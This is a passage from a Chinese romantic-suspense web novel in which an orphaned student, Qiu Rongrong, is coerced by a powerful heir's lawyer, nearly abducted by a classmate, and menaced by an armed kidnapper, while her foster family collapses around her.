谭松双手环抱,上上下下打量着伪装得很好的张律师,切了一声,“他能这么好心?”
他和徐照打了很多次交道。
徐照喜怒无常,没有同理心,张律师也是衣冠禽兽,经常帮徐照洗白脱罪。 他们绝对不会因为秋榕榕帮过徐照,就轻易放手。
张律师镜片下精光闪过,“谭松少爷和徐少不愧是兄弟,这么了解他的作风。”
谭松扯了扯唇角,懒得听这种马屁。
张律师话锋一转,接着说:“当然,化干戈为玉帛是有条件的,只看秋同学愿不愿意配合了。”
第37章 亏欠
“别答应。”谭松拉住秋榕榕的手腕,他的掌心有茧,贴在她手腕处陈年的疤痕上。
答应的好处,秋榕榕已经听见。
不答应的坏处,她还不知。
看着张律师阴险的笑,秋榕榕也知道这是个陷阱。
她问:“你先说是什么条件?”
“徐少住院,你去给他当保姆,直到他出院为止。”张律师说这种话没有丝毫歉疚。
秋榕榕觉得意外,细想之下,又有些无奈地笑了起来。
这既不是折磨,也不是喜欢。
秋榕榕想起了已经被驯化的叶向婉。
她知道,徐照这是需要一个新玩具。
叶向婉是旧的,她是新的。
仅此而已。
“我和他之前有过节,张律师应该比谁都清楚,说不定我会趁此机会再搬起一块石头。”
“你不会。”张律师气定神闲,“你是好人,怕坐牢。”
好人就活该被欺负。
好人就活该被枪指着!
秋榕榕怒视着他。
张律师也好,徐照也好,总是这样自以为是。
普通人的生活容错率本来就低,他们却把毁了别人的人生当做一场游戏。
他们有家世作为退路,随时都可以抽离。
但他们把普通人的生活毁了。
像叶向婉,像她自己,需要挣扎很多年,才可以从所受的伤害里爬出来。
甚至,有些人一辈子都无法从阴影里走出来。
“让他自己去请保姆吧,我没有给你做老妈子的习惯!”
这场谈话不欢而散。
秋榕榕走的时候,张律师冷笑着看着她,拨了一通电话。
他很自信,秋榕榕会回头。
毕竟,他们所做的决定,从来都只是通知,而不是好商量。
“天又下雨了。”回去的路上,车窗半开,秋榕榕抬起手,冰凉的秋雨飘落在她的掌心。
谭松从口袋里抓了一把夜店顺出来的开心果,放在她的手心,“会天晴的。” 可惜第二天仍是雨天。
天空像块被揉皱的黑布,电闪雷鸣间大雨倾盆而下,狂风卷着水雾,刮得树叶乱飞。
秋榕榕正躺在周景行怀里,和他一起窝在客厅沙发上,看电影《两小无猜》,正好在最后一幕,男女主埋在水泥里封存他们的最后一吻。
癫狂,匪夷所思,又印证了浪漫至死。
又是一阵惊雷。
秋榕榕从他的怀抱里起来,她担心院子里的花,“我把院子里的花盆搬进来吧。”
周景行没回她,他靠在沙发上。
电影快到大结局的时候他睡着了,长长的睫毛像黑鸦的羽翼覆盖而下,睡颜安静又无辜。
秋榕榕放轻动作,不打扰他。
她走到玄关处,打开门。
风催着雨刮在她脸上。
她意外地看见谭松淋着雨在花圃里徘徊,任凭冷雨劈头盖脸地砸在他身上。
“谭松,你什么时候来的呀?也不打个电话。”秋榕榕想顶着伞往外跑,但伞骨被吹到翻折,她只能弃伞而出。
雨声大,他又不说话,秋榕榕不得不眯着眼睛提高音量,“谭松,你别在那里站着了,有什么事情可以进来说,淋雨太久容易生病。”
谭松已经在门口犹豫很久,他隔着雨幕看见秋榕榕,眼里满是苦楚,喉结动了动,没有走上前。
秋榕榕也顾不得撑伞,她冲进雨里,想让他快点进屋来。
“对不起……”
雨水将他的声音冲散,谭松停在了原地,他的眼神很复杂,秋榕榕看不懂。
“你说什么?”秋榕榕看见他的嘴唇一开一合,但是雨迷着眼睛,雷声有那么响亮,她根本听不清。
但秋榕榕看见,谭松正在对着她笑。
是无奈的苦笑。
秋榕榕向他伸出手,想拉他进去。
而谭松忽然上前,捂住她的口鼻。
他的手劲很大,胳膊上微微凸起来的肌肉勒住她的脖子。
在秋榕榕震惊的目光中,谭松想要把她拖进车子里。
那车子,秋榕榕见过,是沈砚川的。
“我没有办法,我昨天不应该拦着你的,你没有亲人了,但是我还有……”
谭松在她的耳边忏悔。
“徐照要逼死我妈,他把这次车祸的责任安在我妈头上,说是我妈找的人,他伪造证据,说要把我妈送去坐牢,徐叔叔也不相信我妈。”
“只有拿你去换,才有希望。” “你别怪我。”
“这是我欠你的,我以后一定会还给你。”
才不要!
秋榕榕挣扎着想要呼喊求救。
但谭松宽大的手掌紧紧地堵住她的口鼻。
雷鸣闪电,掩盖了她喉咙里的呜咽声。
直到。
“砰——”
一声枪响。
秋榕榕看见谭松脸色惨白,肩膀渗出鲜血。
他松开了手。
秋榕榕摔倒在地上,满身泥泞。
之前的绑架犯不知何时就潜藏在花圃里,手里拿着枪,用食指勾着转了几圈。
“我的小兔兔,我们又见面了。”
“你的监护人没有好好养你,差一点就让你被别人绑走了。”
秋榕榕陷入剧烈的恐惧中,双腿仿佛被冰冻住,意识还在,心跳声响过天边的惊雷。
她看着绑架一步一步朝着自己走了过来。
他抬起手,轻轻地抚摸她的头顶。
然后,用枪抵住了她的嘴唇。
只要他手指头轻轻一扣,子弹便会穿破她的嘴唇,打烂她的牙齿。从后脑勺的位置飞出去。
“嘘——兔子是一种很安静的小动物,你要乖一点,别发出声音。”
秋榕榕不敢动。
这一切来得太快,打得她措手不及。
她眼睁睁看着那个绑架犯把谭松拖进车子里,开车离开。
他们离开之后,秋榕榕才跑进别墅里。
她发现周景行不在客厅里。
别墅通往后院的门开着在,门口却没有脚印。
秋榕榕楼上楼下喊着他的名字。
又用手机拨打他的电话。
找不到人,电话也打不通。 秋榕榕浑浑噩噩如同行尸走肉。
客厅的电视还在播放着结尾的参演人员名单。
沙发上残余着周景行的体温。
她坐在沙发上,湿漉漉的衣服贴着皮肤。
她开始止不住地颤抖。
无数可怕的想法要把她淹没。
她害怕,害怕刚才的绑架犯从后门进入,把周景行绑走了。
这栋硕大的别墅空下来。
一开始有周叔叔,有周景行,有周淮远,整栋别墅找不到他们的一张照片。
现在就剩她一个人。
如果不是手腕上戴着的黑曜石手串,秋榕榕都要怀疑,来归墟市的这一个月,是不是她的一场梦。
她呼吸越来越急促。
脸色苍白,嘴唇发青。
心率迅速加快。
然后眼前一黑,倒了下去。
第38章 护工
秋榕榕因为呼吸性碱中毒被送进了市区医院。
走廊外两位护士窃窃私语。
“这女生真可怜,三年前全家被杀后得了精神病,现在被送去养父母家没人关心,晕倒在家里,还是社区的人发现的。”
“更惨的是,她的养父竟然遭遇事故高位截瘫,今天才被送回来,据说所有的资产都被抵押出去,现在就是一套房子了……”
秋榕榕睁开眼睛,她看见周景行神色疲惫地坐在病床边,脸色有些憔悴,连衣领都没有整理好。
“哥哥……幸好你没事。”看见周景行的那一刻,秋榕榕感受到前所未有的安定,她拉着他的手不放。
昨天,整栋别墅找不到周景行的时候,秋榕榕满心惶恐。
她脑海里全部都是枪声,绑架犯,还有大雨冲刷下的鲜血。
秋榕榕无法再接受亲近之人死去。
她很喜欢周景行。
可能对一般人来说,谈个恋爱没有什么大不了的。
但对秋榕榕而言,意义非凡。
周景行的身上寄托着她对于未来拥有健康家庭的希冀。
谈恋爱开始,秋榕榕就想着好好经营这段关系,然后和他能够走到最后。
善始善终,白头到老。
她渴望婚姻,也渴望孩子。
过去的家支离破碎。
所以,她在周景行身上寻找新家庭的影子。
当然,秋榕榕也不敢把这份心思在周景行的面前表达出来。
刚谈恋爱就想着结婚。
这也太吓人了。
她怕自己的急迫将他吓退。
秋榕榕把选择权交在周景行的手里,她其实是自卑的,她知道自己是个孤儿,身上还有疤痕,过去又经历了不好的事情……她想,只要周景行喜欢她,不嫌弃她,她就好好守着这段恋情,用真心回馈他。
那如果他不喜欢她,要和她分手的话,她也会祝福他找到心仪的另一半,获得幸福。
毕竟周景行是一个很温柔的人呀。
他的温柔,如果最终不属于她。
也该属于另外一个能够让他们彼此都幸福的人。
周景行把她的手放回被子里,慢悠悠地解释:“昨天我接到一通电话,才急着从后门去车库。
因为开车太急,没注意到你的电话。
我没想到你会因为找不到我,急得呼吸性碱中毒,被送进医院。 是我不好,没能把你照顾好。”
他说话的声音很好听,永远都是慢条斯理的,像是山泉水缓缓流淌过人的心头,舒适悦耳。
“不怪你。”是她自己方寸大乱。
和周景行没关系。
混沌的脑袋慢慢恢复,秋榕榕想起被绑架犯带走的谭松。
因为淋过雨,她的嗓子有点哑,“我昏迷多久了?”
“两天一夜。”
“这么久啊……”秋榕榕太阳穴还在痛,她开始回忆那天的场景,“我有一个同学被之前绑架我的那个男人抓走了,还开了枪。”
“你说的可是谭松?”周景行永远都是那样温和如水。
秋榕榕点头:“是他。”
她没说谭松要把她抓到徐家的事情,只是说了她之前想去院子里搬花盆,看见谭松出现在家门口,那个绑架犯也在。
绑架犯朝着谭松开枪,将他扔进车子里带走。
“他确实失踪了,警署那边已经登记过,你别担心。”
归墟市是一座很割裂的城市,城市的东北方向比较荒芜,以前是重工业区,后来许多钢铁厂荒废,那里还残留着许多未拆迁的厂房。
而东南方向,因为有国际货运港口,较为繁华富庶,又因为贸易频繁港口管控不严,这座城市的每年的失踪人口有五千人。
那些人最后都没有被找回来。
就这么不了了之。
秋榕榕并不憎恨谭松,哪怕他突然跑到她家门口,想把她带到徐照面前给他做保姆,来换他的妈妈安然无恙,她也不憎恨。
若说感觉,可能是有点失望吧。
她把他当朋友,但最终没有被选择。
他想牺牲她,换他妈妈的平安。
真可悲,秋榕榕竟然觉得自己可以理解。
她自己失去了家人。
所以看见谭松为了家人,跑来伤害她的时候,她的第一反应是他真幸运,还有为家人奔波的机会。
有的时候,秋榕榕会为自己的强共情能力感到可悲。
她总是能很轻易地理解别人的立场。
但对别人理解过了头,对自己就稍显残忍。
她内心太过柔软,大家好像都喜欢把刀子往软的地方戳,这是人性的卑劣,也是她的可悲之处。
她从小到大受到的教育,都是让她做一个好人,但长大后社会又教会她,好人没好报。
如此割裂。 她三观已经塑成,错过了学坏的机会,想做个好人,又得承受善良所带来的折磨。
秋榕榕沉默片刻,问道:“周叔叔是不是出事了?”
她醒来的时候听到门口护士的谈话。
“嗯。”周景行的温柔让他在这种时候显得有些冷淡,“脊髓损伤造成高位截瘫,家里的生意也出现了问题,我会将一切都处理好,你正常去学校。”
周淮远做手术,他虽然经常去医院看望,但和他谈话的过程中,听不出来他对周淮远的担忧。
而现在,周叔叔出了事故,他虽然第一时间就先去处理,但秋榕榕在他的眼睛里看不见痛苦。
他分给她的时间,比分给他家人的时间要多。
这本来没什么可比性。
但秋榕榕还是意识到了这一点。
“有什么我可以帮到你的吗?”
“你照顾好自己就行了。”周景行笑着把她额头上的碎发拨开,“还没到需要你的时候。”
总得一个一个来。
周景行没有告诉秋榕榕,周叔叔为什么会高位截瘫。
她出院回家,见到了久违的周叔叔。
他被固定在轮椅上,穿着还算是干净,护工是之前照顾周淮远的那个女人,看着有些凶像,秋榕榕称呼她王阿姨。
她不太喜欢这个护工。
但人是周景行找回来的,钱是他付的,照顾的也是他亲爸,秋榕榕不好再说些什么。
“刚给周先生包了尿布。”王阿姨那张刻薄的脸上竟然露出慈祥的笑容,这样的组合有些怪异,“秋小姐你放心,我会好好照顾周先生的。”
秋榕榕点头。
周叔叔现在全身上下,就只有一双眼珠子可以转动。
见到秋榕榕,周叔叔的眼珠子一直往护工的方向偏。
第39章 受虐
秋榕榕想凑近一点看,刚接近就闻到一股恶臭味。
王阿姨在旁边兴奋地说道:“周先生又拉裤兜里了。”
“不怕不怕,姨姨给你擦干净,喷香香。”
她说这话的时候五官都快飞起来了。
周叔叔已经没有办法说话。
但秋榕榕还是在他的脸上看见了名为羞耻的东西。
并不是表情。
因为他脸上的肌肉已经不能动。
那更像是一种神韵。
一种仅仅用眼神,就能表达出来的情感。
秋榕榕听护工这么说,她也有些尴尬,周叔叔毕竟是和他爸爸差不多岁数的人,在她面前失禁,他估计想死的心都有了。
目光落在他的身上,都是一种残忍。
秋榕榕主动离开,让护工帮周叔叔清理。
周叔叔的喉咙里发出呜咽声。
像是悲泣。
秋榕榕快步走到院子里,不敢回头看护工如何替他擦拭。
上次的兔子尸体养料消耗得差不多,花坛里的兰花有些蔫下去。
秋榕榕这几天都没有打探到谭松的消息。
甚至上次放狠话的张律师也没来找她的茬。
秋榕榕看着无精打采的花,觉得自己真是一个会带来不幸的人。
当年全家死了,就活了她一个。
现在在寄养家庭,周阿姨联系不上,周叔叔也高位截瘫。
这一切都发生于她来到这里之后,就像是她把灾难带进这个家庭。
她是不祥之人吗?
为什么在她身边的人,都会遭遇不幸呢?
秋榕榕不愿意过度苛责自己,但最近发生的事情,让她难免会产生这种想法。
回学校上课,秋榕榕和姜雨薇走得越来越近。
姜雨薇性格大大咧咧,她是那种圆脸胖胖的女生,从面相上看就气血十足,好与人相处。
她的朋友很多。
秋榕榕只是其中一位。 姜雨薇很大方,总是不吝啬于送东西给秋榕榕。
她没用过的口红,一些她已经不喜欢的吊坠,还有一些她没穿过半成新的衣服,通通都会给秋榕榕。
有些人觉得,用别人的旧物是耻辱。
秋榕榕不这么觉得。
她是普通的工薪家庭,亲戚之间经常会送一些半成新的衣服。
她和姑姑之间就会这么做。
秋榕榕和她的姑姑感情很好。
因为姑姑是爷爷奶奶的老来女。
和她年龄差距不算太大,有共同话题,经常一起逛街,一起玩。
只可惜姑姑死了。
血把白裙子染成了红裙子。
姑姑喜欢红裙子。
据说穿着红裙子死去会变成厉鬼回到阳间复仇。
可惜世上没有鬼。
姑姑也没能再回来。
学校里,叶向婉有点神经质地缠上了秋榕榕。
她是徐照意识的践行者,想继续徐照对秋榕榕所做的事情。
只不过,叶向婉是保姆的女儿,和秋榕榕一样,无权无势,大学的课堂又不是固定的,她想逮秋榕榕,没人帮她,她根本就逮不到。
当叶向婉又一次跟着秋榕榕后面追着跑的时候,秋榕榕终是忍不住停下脚步,晃着手中的驱狗喷雾,对她说道:“叶向婉,你听过为虎作伥的故事吗?”
传说山上有老虎,书生上山之后被老虎吃掉,灵魂会变成伥鬼,认老虎为主人,在山里帮老虎搜寻新的猎物。
她站在那里,挡着秋榕榕,固执地说道:“你可以用你手中的辣椒水喷我,也可以从鼻子里面灌进去,我都能承受得住,这些痛苦对我来说无所谓。”
叶向婉有严重的受虐癖,会主动让别人欺负自己,甚至还会帮助施暴者寻找下一个施虐对象。
秋榕榕叹息道:“叶向婉,你被徐照所害,却还要为她服务,这是非常病态的想法,你应该去看心理医生,而不是来纠缠我。”
叶向婉刘海挡住一只眼睛,她黑色的瞳孔和她的灵魂一样黑暗,“他没有伤害我,热烈总比冷漠好。
我是为他才来到这个世界上的,他的愿望便是我的愿望。”
“你病了。”
“我并没有生病,相反我非常的清醒。”叶向婉裂开唇笑,“你是不是觉得为什么他打我我还会爱上他?这很不正常?”
秋榕榕眼神闪烁,“不然呢?”
每一个疯子都认为自己是清醒的。
叶向婉振振有词地说道:“秋榕榕,你不了解他。 他伤我,是因为他在流血。
他用暴力表达爱意,这种爱,只有我看得懂。”
叶向婉竟然在怜悯徐照。
她说徐照的童年很可怜,他虽然身在权贵之家,但是父亲冷漠,母亲痴愚,提供他的锦衣玉食,却没有关爱。
徐照的童年,在母亲对父亲一声又一声的苛责中度过,印象中的母亲歇斯底里,父亲沉默寡言。
他的父亲心里有白月光,他的妈妈得不到他爸爸的关爱,便只能在他面前数落爸爸的过错。
有的时候,还会把这种怨怼发泄在徐照身上。
而徐照长大后,既憎恨母亲,又憎恨父亲。
他甚至憎恨他自己。
他厌世嫉俗,乖张的行为举止让他内心得以释放。
徐照也有对叶向婉好的时候,他也曾经抱着叶向婉,说他以后绝对不走商业联姻这条路,要是找女朋友要找自己喜欢的。
叶向婉自然而然地认为,徐照是喜欢自己的。
如果不喜欢的话,就不会和她说这些话。
“他表达爱的方式,就是伤害。”叶向婉希望秋榕榕能稍微了解一点徐照,然后去医院看看他,“他伤得真的很重,现在心情也很差,一定要见到你才愿意配合治疗。”
秋榕榕没有受虐癖,远离坏人坏事是她的生存准则。
“他真是躺在病床上,还有余力害人,说明他没什么大问题。”
“关于事故的那天晚上,他有话要问你。”叶向婉是徐照派出来的伥鬼,她身上有徐照的影子,“如果你还希望你寄养家庭的生意好起来的话,最好配合。”
秋榕榕立刻意识到,“周叔叔出事是你们做的!”
怪不得那天张律师那么自信,自信她和谭松最后一定会妥协。
叶向婉不置可否。
徐家生意做得很大,归墟市的所有企业,都没有办法得罪徐家。
“你们的手段可真阴险!”
秋榕榕对于周叔叔家的生意不了解。
但她最近确实听说,周叔叔的公司要破产了。
多年经营,毁于一旦。
周景行最近忙于公司里的事情。
连回来的时间都变少。
更可怕的是,周叔叔这次高位截瘫表面上虽然被鉴定为意外,但秋榕榕觉得徐照动手的可能性更大。
他擅长用别人的亲人去威胁人。
对谭松就是这样。 那么对秋榕榕,她家里已经没有其他亲人,从她的寄养家庭下手,也是有可能的。
想到这里,秋榕榕的脸色一寸寸灰白下去。
如果真的是因为她,周叔叔才遭遇了这些事情,那么她又将如何面对周景行。
是她把灾难带进了他的家庭。
他若知原委,会不会恨她?
第40章 轮椅
秋榕榕绝对不能让周家的公司倒闭,她脸色难看地说道:“我可以去见他,但是我不要一个人去。”
原本让谭松陪同更合适,但谭松被绑架犯带走,生死不明。
秋榕榕又不想只身犯险。
她不是太独立的人,想找个人陪,身边又没有人。
叶向婉痴痴地笑了起来,她竖起一根手指头,“可以啊,但你只可以带一个人。”
秋榕榕继续说:“时间要选在正中午,我见过他之后当天要离开,地点就在医院,我不去其他私人场所。”
她好怕死。
若有危险,能躲则躲。
躲不过,也要尽力保证自己的安全。
叶向婉咬着自己的手指头,咧开唇笑:“我等你,你也来到徐照哥哥的身边吧,我们三个可以一起玩,你会理解我的,我们会成为好朋友。”
秋榕榕被她看得鸡皮疙瘩都起来了。
周景行最近忙,徐照和他的一帮损友又因为车祸住院不能出来害人。
秋榕榕自己坐公交回家。
归墟市通地铁,坐公交的人已经少了。
秋榕榕所住的别墅远离市区。
那片只有公交能到。
秋榕榕坐在位置上,她为了保护视力,尽量少看手机,侧着头看着窗外的风景发呆。
一辆白色电车与公交车并行开着。
一开始,秋榕榕还没注意到。
但是等了好几个红绿灯路口。
秋榕榕发现这辆车都在。
而且车子就开在她所坐位置的旁边。
公交车停站时,他就打着双闪停在旁边。
公交车一启动,他也跟着启动。
秋榕榕注意力被吸引,她目光落在那辆白车上,这才发现是沈砚川的车子。
到达目的地,距离别墅区还要步行二十分钟。
秋榕榕从公交车上走下来,看见沈砚川半开车窗,俊秀的侧脸露在外面,银边半框眼镜挡住他的眸色,他抬起一只手,“上车。”
她半弯着腰,看着车内的沈砚川说道:“沈学长,我先不回家,你先走吧,我还要去星汇广场那里买菜。”
“我公交都追了,就是为了送你一截,再绕点路,陪你去星汇广场又算得了什么?”
他是谭松的朋友。
和秋榕榕在学校社团有交集,但谈不上太熟。
星汇广场确实在别墅区附近,但同样有一小段距离。
有车蹭,秋榕榕道了一谢便坐上副驾驶。
扣上安全带。
秋榕榕问:“你刚才是故意跟在公交车旁边吧?”
“对啊。”沈砚川也不否认。
她觉得沈砚川让她上车,是问谭松失踪的事情。
也不等他开口,主动说道:“谭松是被之前袭击过我的绑架犯开枪后带走的。
我家的事情想必你也听过,我和他都怀疑当年的凶手没有抓干净,凶手又回来找我们灭口了。”
“可你现在好好的。”沈砚川看着前方。
车辆疾驰在无人的街道上。
“是绑架犯放我回来的,我能让哥哥画出他的画像,你有办法联系到私家侦探吗?”
因为那一纸精神鉴定书,秋榕榕现在是限制民事行为能力人,她的话警署不会采信。
无法借助警署的力量,就只能去找私家侦探。
“你担心谭松啊。”
秋榕榕沉默。
至少,她不想他死在绑架犯的手里。
“那个绑架犯的手段很恐怖,我见过他把人的尸体泡在福尔马林里。”回忆起之前的遭遇,秋榕榕肠胃里仿佛还剩下没有消化完的番茄汁。
涌动着,搅拌着。
让她的肠胃痛。
“谭松是我的好朋友,他在我这里多次提过你。”
“因为三年前的事情,对你,他其实很内疚,但他是一个很笨拙的人,不知道如何向你道歉。”
“他大四实习,不在学校,又知道徐照欺负你,便让我帮忙多看着点。”
“那天下大暴雨,他说他妈妈要被徐照送去坐牢,问我有没有办法,我帮不上忙,他说他去找你……”
“也是那天,他失踪了。”
说到这里,沈砚川不再说话。
秋榕榕手指扣着自己的牛仔裤。
车内的氛围一时间有些凝滞。
秋榕榕轻轻咬着下唇内侧,稳了稳心神,平静地说:“对啊,他那天,想把我带到徐照面前,换他妈妈平安。”
沈砚川微怔,余光扫向秋榕榕。
许久,他笑道:“那他被绑架,你应该如意才对。”
“我确实气他这么做。”秋榕榕神色认真,“但我也想抓到绑架犯,想把他救出来。他欠我的是道歉,我可以打他一巴掌,但我不希望他被肢解。”
沈砚川抿着唇没开口。
到达星汇广场后,秋榕榕跑到厚街的菜市场,她和摊主杀价,沈砚川就在旁边听着。
她大包小包买了许多。
手里提着塑料袋,放进他的后备箱。
他问站在后备箱旁问:“你都住别墅了,还没专门照顾你的保姆吗?”
秋榕榕这才意识到,周叔叔的别墅过于空旷。
她不太清楚有钱人的生活。
没保姆,她也仅仅理解为周叔叔不喜欢陌生人在家。
而现在,周叔叔的公司出现问题。
请护工已经很勉强。
不可能再单独请个保姆。
“家里活不多,不需要。”
他盯着秋榕榕看,将车的后备箱关上,忽然转移话题,“你鞋带散了?”
“啊?”秋榕榕低头,发现鞋带根本没伞。
他面无表情,“我骗你的。”
“土到掉渣的骗局。”秋榕榕吐槽他幼稚。
“但很管用。”沈砚川用中指推了一下眼镜,“你这么天真,当心被人骗得很惨。”
沈砚川送秋榕榕回家。
周景行就站在家门口,他手里拿着铲子帮兰花松土。
微风把他的白衬衫吹得柔软无声,他动作专注,近乎虔诚。
车辆停下。
秋榕榕从副驾驶下来,去后备箱拿菜。
沈砚川随后下车,车门轻阖的一瞬,他抬起头。
和周景行对视一眼,又各自错开目光。
秋榕榕仰起脸,冲周景行晃了晃袋子,笑得眉眼弯弯:“哥哥,晚上我们炖排骨吃。”
她眼里干净又亮,只有一个人。
世界在她心里被截断成了清晰的两半。
有周景行,和其他。
周景行收回目光,将手中铲子搁在花坛边,伸手接过她的袋子,把她往屋里带。
他没和沈砚川打招呼。
沈砚川识趣地自己离开。
周景行语气带笑,“妹妹,又交新朋友了。在外面交朋友要小心,当心遇见坏人。”
客厅里,多了一个全身缠满绷带坐轮椅的人。
周淮远回来了。
护工就站在周淮远和周叔叔之间。
她一脸满足。
而周景行的双手从后面按在她的肩膀上,“有时间,多在家陪陪他们,他们才是你的家人。”
第41章 起风
周景行满意的看着爸爸,弟弟和女朋友。
现在就差一个妈妈了。
妈妈在哪里呢?
妈妈最爱的兰花开了又败,她藏得比较深,但他很有耐心,会想方设法把她找回来,凑成相亲相爱的一家人。
周淮远全身上下绑着绷带,就露出一双眼睛,秋榕榕觉得他非常的陌生,也许是瘦了太多,看他的感觉就像是看一个新的人。
他手术没恢复好,暂时不能够吃饭,只能够吊营养液。
秋榕榕看见护工把针插进他的手背,溢出来一点血,他和死人一样没有任何反应。
晚上炖的是排骨烧萝卜,周景行烧饭,秋榕榕就负责洗碗。
其实这些天周景行一直忙着公司的事情,秋榕榕提过,说家里的家务她可以多承担一些。
但周景行不愿意。
他坚持和她一起做饭,一起做家务,履行男朋友的职责,甚至还会抽时间出来陪她约会。
周叔叔高位截瘫,周淮远浑身缠着绷带,家里的公司也快破产,周景行还能保持以前的生活节奏,不把压力带给秋榕榕。
男朋友做到这个份上,秋榕榕觉得可以了。
也正是因为做得太好,让秋榕榕觉得,他这样是强撑着。
一个人怎么可能没有缺点和负面情绪呢?
他一定是在压抑着自己。
不想让自己的难过影响到她。
秋榕榕愈发觉得周景行体贴。
别人对她好一分,她总想着回报。
于是,秋榕榕买了保温盒,每天做好饭菜给他上班带着,让他自己在单位用微波炉热一下,不要总是点外卖。
周景行看到饭盒的时候,怔了一会儿,秋榕榕看不懂他柔情似水的眼神下,藏着的阴暗。
“你不用做这些。”他的声音很冷淡。
秋榕榕把这一切归咎于女朋友应该做的。
“你带着吧,我做都做了,知道你喜欢吃清淡的,我油盐加得都少。”
爱是相互体谅。
她的爸爸妈妈就是这样。
秋榕榕从父母的身上习得爱人的方式。
每当秋榕榕向周景行展示这些善意的时候,他总是盯着她看。
看得她头皮发麻。
晚上,秋榕榕躺在床上,翘着脚玩手机,周景行把办公电脑带进房间,坐在床上。
他用的是防窥屏。
秋榕榕看不见他的屏幕。
除了上次接吻,周景行对她,最多是搂搂抱抱,亲亲脸颊和额头,就算是接吻,也仅仅浅尝辄止,很轻地碰一下。
他是一杯温吞的水。
秋榕榕总觉得差点火候。
现在都已经晚上十点,他的目光还在电脑上,身边的女朋友对他完全没有吸引力。
自从医院回来,他们就同床共枕。
但周景行对她,一点过界的想法都没有。
没有生理性喜欢怎么行?
秋榕榕不太乐意,于是她从手机里找到一个黄色小视频,把声音开大,丢到一边。
又在床上打了个滚,单手搂住他的腰。
视频里的男女主角立刻发出嗯嗯啊啊的声音。
周景行把电脑屏幕合上。
侧过头,台灯的光在他左侧,显得他右半边脸浸在阴影中,“你看的什么?”
“有氧运动视频喽。”秋榕榕抬起头,一脸期待地看着他。
周景行稍微坐起身,拿过她的手机,把视频关掉。
然后,关掉床头灯,从前面搂住她。
“不许看,睡觉。”
秋榕榕扭了几下,没挣脱出来。
她抽出自己的一只手,用食指和中指做成小人走路的样子,在他的手臂上往上走,走到他的肩膀上。
她哑着嗓子,“哥,我们都是成年人了。”
周景行勒着她腰的手紧了一些。
“别找事。”
秋榕榕把手缩回来,有些郁闷地推开他,他手臂不动,她就伸出软软的舌头在他的手臂上舔了一下。
很干净,鼻子贴近还有沐浴露的香味。
没有咸涩感。
他手臂上的肌肉一僵,力气果然放松。
秋榕榕也得以挣脱。
她把被子拽过来,全身裹得像蚕蛹,翻身的动作刻意很大,背对着周景行哼了好几声。
求欢失败。
对秋榕榕而言打击巨大。
都说女孩子要矜持。
但周景行对她的想法太少。
而她贪恋和他的肢体接触。
想要拥抱、亲吻,做更多的事情,又不能说。
他皮肤白,看着贵气,平时吃饭吃得也不多,说起话来温声细语,这种人很难和性生活联系在一起。
用出尘脱俗形容的太过,但也能算得上是无欲无求。
刚才那一出举动,算是拒绝了她的示好。
谈到现在,接吻就伸过一次舌头。
真失败。
她不想谈柏拉图式的恋爱。
更怕他嘴上不嫌弃她身上的疤,实际上不愿意碰她是因为不想面对那些丑陋的疤痕。
“生气了?”
秋榕榕身后的床动了动,他又挪过来从背后抱着她。
下巴顶着她的头发。
“没。”秋榕榕有点委屈。
他又伸手去摸她的眼睛,看她有没有哭。
指尖触碰的地方,干燥。
他问:“想做?”
秋榕榕脸红得像煮熟的大虾。
不是想做,是想被认可。
“不是不碰你,只是觉得应该先订婚,不然若你后悔,我没办法让时间倒流。”
多好听的话。
正印证了那句,爱是伸出又收回的手。
只是她背对着他,看不见他脸上的表情。
“现在又不是古时候,我知道你是爱惜我,我……唉,当我没说。”秋榕榕心里戚戚然,她喜欢他,才想着亲近,但又不好意思再继续往下说,于是用被子把头捂住,声音闷闷的,“我要睡觉了。”
周景行没说话,他把手从她上衣里伸进去,贴着她腰间的软肉,然后慢慢往上。
秋榕榕心跳加速。
就在这时,二楼的窗户突然被风吹开,发出剧烈的响动。
周景行动作一顿。
他翻身下床。
秋榕榕也把身子转过去。
她看见外面又起风了,周景行站在漆黑的窗户边,黑色丝绸睡衣穿在他的身上,像一缕幽魂,他往楼下看了一眼,将窗户关闭,插销插上。
冷风被窗户隔开。
“睡吧。”
他抱着她,再没有其他动作。
可她又如何睡得着?
少女的心事呀,轻巧又藏不住,在风起时飘出去。
他又怎可能看不见?
第42章 玻璃
徐照那边,秋榕榕原本想让姜雨薇陪同,但考虑到她也是女孩子,还有她家的公司,秋榕榕只能求助沈砚川。
沈砚川曾说,他和徐照是同一个圈子的人。
既然如此,找他帮忙应该没错。
沈砚川把手中的书一放,“找我陪你,你是不是找错人了?”
“没,就是你。”秋榕榕坐在他前排的空位上,把头扭过去对着他。
“我正在准备辩论赛的资料,可能没时间。”他戴着银边眼镜,身上满是书卷气。
“资料我来帮你收集,你陪我走一趟,我一个人不敢去,怕他在医院揍我。”
秋榕榕需要沈砚川帮忙壮声势。
“你就这么怕他?”
秋榕榕立刻点头:“怕。”
沈砚川似笑非笑地看着她,在她惴惴不安中,轻轻点头,“行啊。”
他们约在医院见面。
时间就定在第二天下午2点。
到了时间,秋榕榕坐车前往徐照自己家开的私人医院。
门口都是保镖。
秋榕榕在门口急得团团转,像是热锅上的蚂蚁。
到了目的地,沈砚川忽然发消息给他,说学生会突然派发紧急任务,他走不开,要改时间。
徐照要是能这么好说话,秋榕榕也不至于全副武装!
他早不说,晚不说。
偏偏在她到了目的地之后才说!
秋榕榕意识到这点的时候,也想直接放徐照的鸽子,转身离开。
但是,被徐照的保镖团团围住。
跑不掉了。
叶向婉就站在张律师的身后。
她的脖子上新戴了一个项圈。
这是徐照给她的,奖励她把秋榕榕带了过来。
“我约的人没来,我们改时间。”秋榕榕扭头想跑的时候,被保镖摁住了肩膀。
张律师无情地说道:“别天真了,既然来了,就别想走。”
他们生拉硬拽,把她带进医院。
手劲太大,按得她肩膀疼。
秋榕榕推不开,提高音量,“你们松手,我自己走。”
保镖们看向张律师。
张律师点点头,示意他们松手。
他皮笑肉不笑地说道:“既然来了,就听话,很多人的命运都系在你的手里。”
张律师指的是周叔叔一家。
秋榕榕硬着头皮上楼。
楼里的保镖堂而皇之地带着枪。
秋榕榕之前只知道徐家阔绰。
进了徐家的私人医院才知道,他比她想象中的更加富有,私人医院里的设备齐全,有几个医生秋榕榕之前在电视上见过,不是本市的。
按道理来说,这种公子哥不应该出现在归墟市。
徐照出现在这里,就说明他在家族里,处于半流放状态。
“眼睛别乱看。”张律师冷声警告。
秋榕榕眼睛不再乱瞟。
徐照躺在病床上,前凸后翘的漂亮小护士正在给他喂药,人是徐家专门选的,有了钱,就作威作福,既要专业能力,又要人长得好看,偏偏开出高价,还真的有人愿意来干。
